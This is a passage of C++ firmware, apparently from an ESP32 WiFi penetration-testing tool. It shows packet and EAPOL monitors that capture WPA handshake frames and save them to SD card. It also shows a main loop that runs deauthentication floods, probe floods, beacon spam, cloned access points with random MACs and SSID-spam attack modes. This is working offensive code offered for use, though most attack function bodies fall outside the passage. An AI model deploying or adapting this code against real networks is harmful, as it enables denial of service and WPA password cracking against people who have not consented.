  1974. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1975. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1976. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1977. }
  1978. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1979. num_eapol++;
  1980. Serial.println("Received EAPOL:");
  1981. for (int i = 0; i < len; i++) {
  1982. char hexCar[4];
  1983. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  1984. Serial.print(hexCar);
  1985. //Serial.print(snifferPacket->payload[i], HEX);
  1986. if ((i + 1) % 16 == 0)
  1987. Serial.print("\n");
  1988. else
  1989. Serial.print(" ");
  1990. }
  1991. Serial.print("\n");
  1992. }
  1993. if (save_packet)
  1994. sd_obj.addPacket(snifferPacket->payload, len);
  1995. }
  1996. #ifdef HAS_SCREEN
  1997. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  1998. {
  1999. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2000. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2001. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2002. {
  2003. currentTime = millis();
  2004. do_break = false;
  2005. y_pos_x = 0;
  2006. y_pos_y = 0;
  2007. y_pos_z = 0;
  2008. boolean pressed = false;
  2009. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2010. // Do the touch stuff
  2011. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2012. if (pressed) {
  2013. Serial.print("Got touch | X: ");
  2014. Serial.print(t_x);
  2015. Serial.print(" Y: ");
  2016. Serial.println(t_y);
  2017. }
  2018. // Check buttons for presses
  2019. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2020. {
  2021. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2022. {
  2023. display_obj.key[b].press(true);
  2024. } else {
  2025. display_obj.key[b].press(false);
  2026. }
  2027. }
  2028. // Which buttons pressed
  2029. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2030. {
  2031. if (display_obj.key[b].justPressed())
  2032. {
  2033. Serial.println("Bro, key pressed");
  2034. //do_break = true;
  2035. }
  2036. if (display_obj.key[b].justReleased())
  2037. {
  2038. do_break = true;
  2039. // Channel - button pressed
  2040. if (b == 4) {
  2041. if (set_channel > 1) {
  2042. Serial.println("Shit channel down");
  2043. set_channel--;
  2044. delay(70);
  2045. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2046. //display_obj.tftDrawXScaleButtons(x_scale);
  2047. //display_obj.tftDrawYScaleButtons(y_scale);
  2048. display_obj.tftDrawChannelScaleButtons(set_channel);
  2049. display_obj.tftDrawExitScaleButtons();
  2050. changeChannel();
  2051. break;
  2052. }
  2053. }
  2054. // Channel + button pressed
  2055. else if (b == 5) {
  2056. if (set_channel < MAX_CHANNEL) {
  2057. Serial.println("Shit channel up");
  2058. set_channel++;
  2059. delay(70);
  2060. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2061. //display_obj.tftDrawXScaleButtons(x_scale);
  2062. //display_obj.tftDrawYScaleButtons(y_scale);
  2063. display_obj.tftDrawChannelScaleButtons(set_channel);
  2064. display_obj.tftDrawExitScaleButtons();
  2065. changeChannel();
  2066. break;
  2067. }
  2068. }
  2069. else if (b == 6) {
  2070. Serial.println("Exiting packet monitor...");
  2071. this->StartScan(WIFI_SCAN_OFF);
  2072. //display_obj.tft.init();
  2073. this->orient_display = true;
  2074. return;
  2075. }
  2076. }
  2077. }
  2078. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2079. //Serial.println("-----------------------------------------");
  2080. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2081. x_pos += x_scale;
  2082. initTime = millis();
  2083. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2084. if (y_pos_x >= HEIGHT_1) {
  2085. Serial.println("Max EAPOL number reached. Adjusting...");
  2086. num_eapol = 0;
  2087. }
  2088. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2089. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2090. //Serial.println("num_beacon: " + (String)num_beacon);
  2091. //Serial.println("num_deauth: " + (String)num_deauth);
  2092. //Serial.println(" num_probe: " + (String)num_probe);
  2093. //num_beacon = 0;
  2094. //num_probe = 0;
  2095. //num_deauth = 0;
  2096. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2097. //Plot "X" value
  2098. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2099. //Plot "Z" value
  2100. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2101. //Plot "Y" value
  2102. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2103. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2104. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2105. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2106. {
  2107. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2108. }
  2109. else
  2110. {
  2111. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2112. }
  2113. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2114. //if (x_pos <= 90)
  2115. if (x_pos < 0) // below x axis
  2116. {
  2117. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2118. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2119. }
  2120. else
  2121. {
  2122. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2123. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2124. }
  2125. //tftDisplayTime();
  2126. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2127. {
  2128. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2129. }
  2130. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2131. //y_pos_y_old = y_pos_y;
  2132. //y_pos_z_old = y_pos_z;
  2133. //delay(50);
  2134. }
  2135. sd_obj.main();
  2136. }
  2137. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2138. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2139. display_obj.tftDrawChannelScaleButtons(set_channel);
  2140. display_obj.tftDrawExitScaleButtons();
  2141. display_obj.tftDrawEapolColorKey();
  2142. display_obj.tftDrawGraphObjects(x_scale);
  2143. }
  2144. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2145. {
  2146. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2147. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2148. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2149. {
  2150. currentTime = millis();
  2151. do_break = false;
  2152. y_pos_x = 0;
  2153. y_pos_y = 0;
  2154. y_pos_z = 0;
  2155. boolean pressed = false;
  2156. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2157. // Do the touch stuff
  2158. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2159. if (pressed) {
  2160. Serial.print("Got touch | X: ");
  2161. Serial.print(t_x);
  2162. Serial.print(" Y: ");
  2163. Serial.println(t_y);
  2164. }
  2165. // Check buttons for presses
  2166. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2167. {
  2168. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2169. {
  2170. display_obj.key[b].press(true);
  2171. } else {
  2172. display_obj.key[b].press(false);
  2173. }
  2174. }
  2175. // Which buttons pressed
  2176. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2177. {
  2178. if (display_obj.key[b].justPressed())
  2179. {
  2180. Serial.println("Bro, key pressed");
  2181. //do_break = true;
  2182. }
  2183. if (display_obj.key[b].justReleased())
  2184. {
  2185. do_break = true;
  2186. // X - button pressed
  2187. if (b == 0) {
  2188. if (x_scale > 1) {
  2189. x_scale--;
  2190. delay(70);
  2191. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2192. display_obj.tftDrawXScaleButtons(x_scale);
  2193. display_obj.tftDrawYScaleButtons(y_scale);
  2194. display_obj.tftDrawChannelScaleButtons(set_channel);
  2195. display_obj.tftDrawExitScaleButtons();
  2196. break;
  2197. }
  2198. }
  2199. // X + button pressed
  2200. else if (b == 1) {
  2201. if (x_scale < 6) {
  2202. x_scale++;
  2203. delay(70);
  2204. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2205. display_obj.tftDrawXScaleButtons(x_scale);
  2206. display_obj.tftDrawYScaleButtons(y_scale);
  2207. display_obj.tftDrawChannelScaleButtons(set_channel);
  2208. display_obj.tftDrawExitScaleButtons();
  2209. break;
  2210. }
  2211. }
  2212. // Y - button pressed
  2213. else if (b == 2) {
  2214. if (y_scale > 1) {
  2215. y_scale--;
  2216. delay(70);
  2217. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2218. display_obj.tftDrawXScaleButtons(x_scale);
  2219. display_obj.tftDrawYScaleButtons(y_scale);
  2220. display_obj.tftDrawChannelScaleButtons(set_channel);
  2221. display_obj.tftDrawExitScaleButtons();
  2222. //updateMidway();
  2223. break;
  2224. }
  2225. }
  2226. // Y + button pressed
  2227. else if (b == 3) {
  2228. if (y_scale < 9) {
  2229. y_scale++;
  2230. delay(70);
  2231. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2232. display_obj.tftDrawXScaleButtons(x_scale);
  2233. display_obj.tftDrawYScaleButtons(y_scale);
  2234. display_obj.tftDrawChannelScaleButtons(set_channel);
  2235. display_obj.tftDrawExitScaleButtons();
  2236. //updateMidway();
  2237. break;
  2238. }
  2239. }
  2240. // Channel - button pressed
  2241. else if (b == 4) {
  2242. if (set_channel > 1) {
  2243. Serial.println("Shit channel down");
  2244. set_channel--;
  2245. delay(70);
  2246. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2247. display_obj.tftDrawXScaleButtons(x_scale);
  2248. display_obj.tftDrawYScaleButtons(y_scale);
  2249. display_obj.tftDrawChannelScaleButtons(set_channel);
  2250. display_obj.tftDrawExitScaleButtons();
  2251. changeChannel();
  2252. break;
  2253. }
  2254. }
  2255. // Channel + button pressed
  2256. else if (b == 5) {
  2257. if (set_channel < MAX_CHANNEL) {
  2258. Serial.println("Shit channel up");
  2259. set_channel++;
  2260. delay(70);
  2261. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2262. display_obj.tftDrawXScaleButtons(x_scale);
  2263. display_obj.tftDrawYScaleButtons(y_scale);
  2264. display_obj.tftDrawChannelScaleButtons(set_channel);
  2265. display_obj.tftDrawExitScaleButtons();
  2266. changeChannel();
  2267. break;
  2268. }
  2269. }
  2270. else if (b == 6) {
  2271. Serial.println("Exiting packet monitor...");
  2272. this->StartScan(WIFI_SCAN_OFF);
  2273. //display_obj.tft.init();
  2274. this->orient_display = true;
  2275. return;
  2276. }
  2277. }
  2278. }
  2279. if (currentTime - initTime >= GRAPH_REFRESH) {
  2280. //Serial.println("-----------------------------------------");
  2281. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2282. x_pos += x_scale;
  2283. initTime = millis();
  2284. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2285. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2286. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2287. //Serial.println("num_beacon: " + (String)num_beacon);
  2288. //Serial.println("num_deauth: " + (String)num_deauth);
  2289. //Serial.println(" num_probe: " + (String)num_probe);
  2290. num_beacon = 0;
  2291. num_probe = 0;
  2292. num_deauth = 0;
  2293. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2294. //Plot "X" value
  2295. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2296. //Plot "Z" value
  2297. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2298. //Plot "Y" value
  2299. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2300. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2301. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2302. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2303. {
  2304. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2305. }
  2306. else
  2307. {
  2308. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2309. }
  2310. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2311. //if (x_pos <= 90)
  2312. if (x_pos < 0) // below x axis
  2313. {
  2314. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2315. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2316. }
  2317. else
  2318. {
  2319. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2320. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2321. }
  2322. //tftDisplayTime();
  2323. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2324. {
  2325. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2326. }
  2327. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2328. y_pos_y_old = y_pos_y;
  2329. y_pos_z_old = y_pos_z;
  2330. //delay(50);
  2331. }
  2332. sd_obj.main();
  2333. }
  2334. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2335. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2336. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2337. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2338. display_obj.tftDrawYScaleButtons(y_scale);
  2339. display_obj.tftDrawChannelScaleButtons(set_channel);
  2340. display_obj.tftDrawExitScaleButtons();
  2341. display_obj.tftDrawColorKey();
  2342. display_obj.tftDrawGraphObjects(x_scale);
  2343. }
  2344. #endif
  2345. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2346. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2347. // showMetadata(snifferPacket, type);
  2348. //}
  2349. void WiFiScan::changeChannel()
  2350. {
  2351. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2352. delay(1);
  2353. }
  2354. // Function to cycle to the next channel
  2355. void WiFiScan::channelHop()
  2356. {
  2357. this->set_channel = this->set_channel + 1;
  2358. if (this->set_channel > 13) {
  2359. this->set_channel = 1;
  2360. }
  2361. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2362. delay(1);
  2363. }
  2364. char* WiFiScan::stringToChar(String string) {
  2365. char buf[string.length() + 1] = {};
  2366. string.toCharArray(buf, string.length() + 1);
  2367. return buf;
  2368. }
  2369. // Function for updating scan status
  2370. void WiFiScan::main(uint32_t currentTime)
  2371. {
  2372. // WiFi operations
  2373. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2374. (currentScanMode == WIFI_SCAN_AP) ||
  2375. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2376. (currentScanMode == WIFI_SCAN_PWN) ||
  2377. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2378. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2379. (currentScanMode == WIFI_SCAN_ALL))
  2380. {
  2381. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2382. {
  2383. initTime = millis();
  2384. channelHop();
  2385. }
  2386. }
  2387. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2388. {
  2389. #ifdef HAS_SCREEN
  2390. packetMonitorMain(currentTime);
  2391. #endif
  2392. }
  2393. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2394. {
  2395. #ifdef HAS_SCREEN
  2396. eapolMonitorMain(currentTime);
  2397. #endif
  2398. }
  2399. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2400. {
  2401. #ifdef HAS_SCREEN
  2402. eapolMonitorMain(currentTime);
  2403. #endif
  2404. }
  2405. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2406. for (int i = 0; i < 55; i++)
  2407. this->sendProbeAttack(currentTime);
  2408. if (currentTime - initTime >= 1000) {
  2409. initTime = millis();
  2410. String displayString = "";
  2411. String displayString2 = "";
  2412. displayString.concat(text18);
  2413. displayString.concat(packets_sent);
  2414. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2415. displayString2.concat(" ");
  2416. #ifdef HAS_SCREEN
  2417. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2418. display_obj.showCenterText(displayString2, 160);
  2419. display_obj.showCenterText(displayString, 160);
  2420. #endif
  2421. packets_sent = 0;
  2422. }
  2423. }
  2424. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2425. for (int i = 0; i < 55; i++)
  2426. this->sendDeauthAttack(currentTime);
  2427. if (currentTime - initTime >= 1000) {
  2428. initTime = millis();
  2429. String displayString = "";
  2430. String displayString2 = "";
  2431. displayString.concat(text18);
  2432. displayString.concat(packets_sent);
  2433. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2434. displayString2.concat(" ");
  2435. #ifdef HAS_SCREEN
  2436. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2437. display_obj.showCenterText(displayString2, 160);
  2438. display_obj.showCenterText(displayString, 160);
  2439. #endif
  2440. packets_sent = 0;
  2441. }
  2442. }
  2443. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2444. // Need this for loop because getTouch causes ~10ms delay
  2445. // which makes beacon spam less effective
  2446. for (int i = 0; i < access_points->size(); i++) {
  2447. if (access_points->get(i).selected)
  2448. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2449. random(256),
  2450. random(256),
  2451. random(256),
  2452. random(256),
  2453. random(256)}});
  2454. }
  2455. if (currentTime - initTime >= 1000)
  2456. {
  2457. initTime = millis();
  2458. //Serial.print("packets/sec: ");
  2459. //Serial.println(packets_sent);
  2460. String displayString = "";
  2461. String displayString2 = "";
  2462. displayString.concat(text18);
  2463. displayString.concat(packets_sent);
  2464. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2465. displayString2.concat(" ");
  2466. #ifdef HAS_SCREEN
  2467. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2468. display_obj.showCenterText(displayString2, 160);
  2469. display_obj.showCenterText(displayString, 160);
  2470. #endif
  2471. packets_sent = 0;
  2472. }
  2473. }
  2474. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2475. {
  2476. // Need this for loop because getTouch causes ~10ms delay
  2477. // which makes beacon spam less effective
  2478. for (int i = 0; i < 55; i++)
  2479. broadcastRandomSSID(currentTime);
  2480. if (currentTime - initTime >= 1000)
  2481. {
  2482. initTime = millis();
  2483. //Serial.print("packets/sec: ");
  2484. //Serial.println(packets_sent);
  2485. String displayString = "";
  2486. String displayString2 = "";
  2487. displayString.concat(text18);
  2488. displayString.concat(packets_sent);
  2489. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2490. displayString2.concat(" ");
  2491. #ifdef HAS_SCREEN
  2492. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2493. display_obj.showCenterText(displayString2, 160);
  2494. display_obj.showCenterText(displayString, 160);
  2495. #endif
  2496. packets_sent = 0;
  2497. }
  2498. }
  2499. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2500. for (int i = 0; i < ssids->size(); i++)
  2501. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2502. if (currentTime - initTime >= 1000)
  2503. {
  2504. initTime = millis();
  2505. packets_sent = 0;
  2506. }
  2507. }
  2508. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2509. for (int i = 0; i < access_points->size(); i++) {
  2510. if (access_points->get(i).selected)
  2511. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2512. }
  2513. if (currentTime - initTime >= 1000) {
  2514. initTime = millis();
  2515. packets_sent = 0;
  2516. }
  2517. }
  2518. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2519. {
  2520. // Need this for loop because getTouch causes ~10ms delay
  2521. // which makes beacon spam less effective
  2522. for (int i = 0; i < 7; i++)
  2523. {
  2524. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2525. {
  2526. broadcastSetSSID(currentTime, rick_roll[x]);
  2527. }
  2528. }
  2529. if (currentTime - initTime >= 1000)
  2530. {
  2531. initTime = millis();
  2532. //Serial.print("packets/sec: ");
  2533. //Serial.println(packets_sent);
  2534. String displayString = "";
  2535. String displayString2 = "";
  2536. displayString.concat(text18);
  2537. displayString.concat(packets_sent);
  2538. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2539. displayString2.concat(" ");
  2540. #ifdef HAS_SCREEN
  2541. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2542. display_obj.showCenterText(displayString2, 160);
  2543. display_obj.showCenterText(displayString, 160);
  2544. #endif
  2545. packets_sent = 0;
  2546. }
  2547. }
  2548. }